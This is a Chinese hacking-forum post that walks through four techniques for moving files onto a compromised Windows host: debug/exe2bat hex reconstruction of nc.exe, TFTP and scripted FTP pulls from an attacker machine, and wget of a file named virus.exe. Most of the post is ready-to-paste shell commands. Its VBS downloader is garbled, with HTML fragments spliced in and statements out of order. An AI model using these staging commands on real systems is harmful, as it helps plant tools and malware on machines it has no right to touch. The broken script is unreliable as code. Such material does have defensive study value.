搜索
查看: 391|回复: 1

渗透测试中上传文件到目标系统的四种姿势

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2016-4-5 15:08:05 | 显示全部楼层 |阅读模式
Windows 的 debug 方法

Windows 有一个程序叫 debug,这个程序可以将十六进制的机器码转换为可执行的文件。Windows 的 debug 方法可以先将文件转化为十六进制,然后通过非交互式 shell 在目标系统上 echo 出这个文件,最后使用 debug 转换十六进制并执行。Kali 里有一个名为 exe2bat 的程序位于 /usr/share/windows-binaries。

我们可以这样运行

  1. root@kali:/usr/share/windows-binaries# wine exe2bat.exe nc.exe nc2.txt

  2. Finished: nc.exe > nc2.txt
  3. root@kali:/usr/share/windows-binaries#
复制代码

这条命令会生成一个 txt 文档,其中内容类似如下:

  1. echo 6e 76 69 72 6f 6e 6d 65 6e 74 53 74 72 69 6e 67 73 57 00 00 a3 00 47 65 74 43 50 49 6e 66 6f 00 9d 00 47 65 74 41 43 50 00 00 09 01 47 65 74 4f 45 4d 43 50 00 00 1e 00 43 6f 6d 70 61 72 65 53 74 72 69 6e 6$
  2. echo e e780 >>123.hex
  3. echo 6c 65 00 00 19 02 53 65 74 46 69 6c 65 50 6f 69 6e 74 65 72 00 00 2b 01 47 65 74 53 74 72 69 6e 67 54 79 70 65 41 00 00 2e 01 47 65 74 53 74 72 69 6e 67 54 79 70 65 57 00 00 16 01 47 65 74 50 72 6f 63 41 6$
  4. echo e e800 >>123.hex
  5. echo 47 65 74 4e 75 6d 62 65 72 4f 66 43 6f 6e 73 6f 6c 65 49 6e 70 75 74 45 76 65 6e 74 73 00 31 00 43 72 65 61 74 65 46 69 6c 65 41 00 10 02 53 65 74 45 6e 64 4f 66 46 69 6c 65 00 00 8d 01 4c 43 4d 61 70 53 7$
  6. echo e e880 >>123.hex
  7. echo 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0$
  8. echo e e900 >>123.hex
  9. echo  >>123.hex
  10. echo r cx >>123.hex
  11. echo e800 >>123.hex
  12. echo w >>123.hex
  13. echo q >>123.hex
  14. debug<123.hex
  15. copy 1.dll nc.exe
复制代码

之后我们要做的就是复制文档中所有的内容,粘贴到 Shell 窗口内即可。

  1. 0C96:E8E0  00.00   00.00   00.00   00.00   00.00   00.00   00.00   00.00
  2. 0C96:E8E8  00.00   00.00   00.00   00.00   00.00   00.00   00.00   00.00
  3. 0C96:E8F0  00.00   00.00   00.00   00.00   00.00   00.00   00.00   00.00
  4. 0C96:E8F8  00.00   00.00   00.00   00.00   00.00   00.00   00.00   00.00
  5. 0C96:E900  EC.     0E.     AC.
  6. -e e900
  7. 0C96:E900  EC.
  8. EC   0E.e    AC.ac
  9. -r cx
  10. CX 0000
  11. :e800
  12. -w
  13. Writing 0E800 bytes
  14. -q
  15. C:\TRANSF~1>
复制代码

这样我们的文件就出现在远程的目录里了。

  1. 21/10/2015  22:44    <DIR>          .
  2. 21/10/2015  22:44    <DIR>          ..
  3. 21/10/2015  22:44            59.392 1.DLL
  4. 21/10/2015  22:44           184.270 123.hex
  5. 21/10/2015  22:44            59.392 nc.exe
复制代码
TFTP 方法

TFTP 是一种使用 UDP 数据包在网络上两台机器间发送和接收数据的协议。它可以用来帮助攻击者向目标机器上传文件。注意,TFTP 使用的是 UDP数据包,所以不适合发送一些很大的文件,因为 UDP 缺少完整性校验的机制。

你可以安装一个轻量级 Python TFTP 服务端如下:

  1. # apt-get install git && git clone git://github.com/msoulier/tftpy.git
复制代码

随后创建一个用于存储上传文件的文件夹并使用 chmod 给予文件夹 777 的权限。之后就可以运行 TFTP 服务端了。

  1. # cd tftpy
  2. # python setup.py install
复制代码

运行服务端

  1. # cd bin
  2. # python tftpy_server.py -r /你的文件夹
复制代码

在目标机器上可以运行如下命令来获取想上传的文件。

  1. C:\TRANSF~1>tftp -i 192.168.11.70 get nc.exe
  2. tftp -i 192.168.11.70 get nc.exe
  3. C:\TRANSF~1>
复制代码
FTP 方法

另一个非常有用的上传文件的方法就是使用 FTP 服务器。由于 FTP 使用 TCP 传输数据,它会进行完整性校验,所以你可以上传较大的文件。我们可以在 Linux 系统上使用像 vsftpd 的 FTP 服务器。

  1. # apt-get install vsftpd
复制代码

安装完 vsftpd 后,我们要编辑 /etcvsftpd.conf 文件,取消注释掉的 local_enable 和 write_enable,重启服务就可以上传文件了。

对于使用非交互式脚本在目标机器上传文件,我们仅需将下列命令一起写入 Shell 的窗口即可,下面我们假设 FTP 的用户名和密码都是 ftp。

  1. C:\WINDOWS\system32>echo open 192.168.11.70 21> ftp.txt
  2. C:\WINDOWS\system32>echo ftp>> ftp.txt
  3. C:\WINDOWS\system32>echo bin >> ftp.txt
  4. C:\WINDOWS\system32>echo ftp>> ftp.txt
  5. C:\WINDOWS\system32>echo GET nc.exe >> ftp.txt
  6. C:\WINDOWS\system32>echo bye >> ftp.txt
  7. C:\WINDOWS\system32>ftp -s:ftp.txt
复制代码

这样文件就会出现在了目标系统上了。

HTTP 方法

在渗透测试工作中我经常面对的目标主机是类 Unix系统,这时建立一个 HTTP 服务器并使用 wget 命令进行下载是一个非常简单的方法。Windows 系统上面没有原生的下载工具如 wget,不过在 Kali 的 /usr/share/windows-binaries 的目录下,有一个名为 wget.exe 的小工具可以在 windows 上执行 wget。

对于 HTTP 服务器我们可以选用 Apache2

  1. # apt-get install apache2
复制代码

将文件移动到 /var/www 下面,并在目标系统上面运行 wget 如下。

  1. C:\TRANSF~1>wget.exe http://192.168.11.16/virus.exe
  2. wget.exe http://192.168.11.16/virus.exe
  3. –23:34:27–  http://192.168.11.16/virus.exe
  4. => `virus.exe’
  5. Connecting to 192.168.11.16:80… connected.
  6. HTTP request sent, awaiting response… 200 OK
  7. Length: 73,802 [application/x-msdos-program]
  8. 0K ………. ………. ………. ………. ………. 69%    4.88 MB/s
  9. 50K ………. ………. ..                              100%   21.55 MB/s
  10. 23:34:27 (7.04 MB/s) – `virus.exe’ saved [73802/73802]
  11. C:\TRANSF~1>
复制代码

另一种让 wget 像 Windows 命令一样执行的方法是使用如下的脚本,这个非交互式脚本可以将内容简单的使用 echo 到文件中。

  1. ‘Barabas pure vbs downloader – tested on XP sp2
  2. ‘Microsoft
  3. fixed
  4. adodbstream
  5. but
  6. guess
  7. what
  8. <img
  9. includes/images/smilies/icon_smile.gif” alt=”:)” class=”wp-smiley”>
  10. ‘(c)dec 2004
  11. ‘First argument = complete url to download
  12. ‘Second Argument = filename you want to save
  13. ‘thnks to http://www.ericphelps.com/scripting/samples/BinaryDownload/

  14. ‘v2 – now includes proxy support for the winhttp request stuff
  15. strUrl = WScript.Arguments.Item(0)
  16. StrFile = WScript.Arguments.Item(1)
  17. ‘WinHttpRequest proxy settings.
  18. Const HTTPREQUEST_PROXYSETTING_
  19. DEFAULT = 0
  20. Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0
  21. Const HTTPREQUEST_PROXYSETTING_DIRECT = 1
  22. Const HTTPREQUEST_PROXYSETTING_PROXY = 2
  23. 219
  24. src=”http://s.wordpress.com/wp-Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts
  25. Err.Clear
  26. Set http = Nothing
  27. Set http = CreateObject(“WinHttp.WinHttpRequest.5.1”)
  28. If http Is Nothing Then Set http =
  29. CreateObject(“WinHttp.WinHttpRequest”)
  30. If http Is Nothing Then Set http =
  31. CreateObject(“MSXML2.ServerXMLHTTP”)
  32. If http Is Nothing Then Set http = CreateObject(“Microsoft.XMLHTTP”)
  33. ‘ comment out next line if no proxy is being used
  34. ‘ and change the proxy to suit ur needs -duh
  35. http.SetProxy HTTPREQUEST_PROXYSETTING_PROXY, “web-proxy:80”
  36. http.Open “GET”, strURL, False
  37. http.Send
  38. varByteArray = http.ResponseBody
  39. Set http = Nothing
  40. strBuffer = “”
  41. strData = “”
  42. Set ts = fs.CreateTextFile(StrFile, True)
  43. Set fs = CreateObject(“Scripting.FileSystemObject”)
  44. For lngCounter = 0 to UBound(varByteArray)
  45. ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1)))
  46. Next
  47. ts.Close
复制代码


过段时间可能会取消签到功能了

2

主题

52

帖子

196

积分

我是新手

Rank: 1

积分
196
发表于 2016-4-5 17:02:28 | 显示全部楼层
科普好文,谢谢分享
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表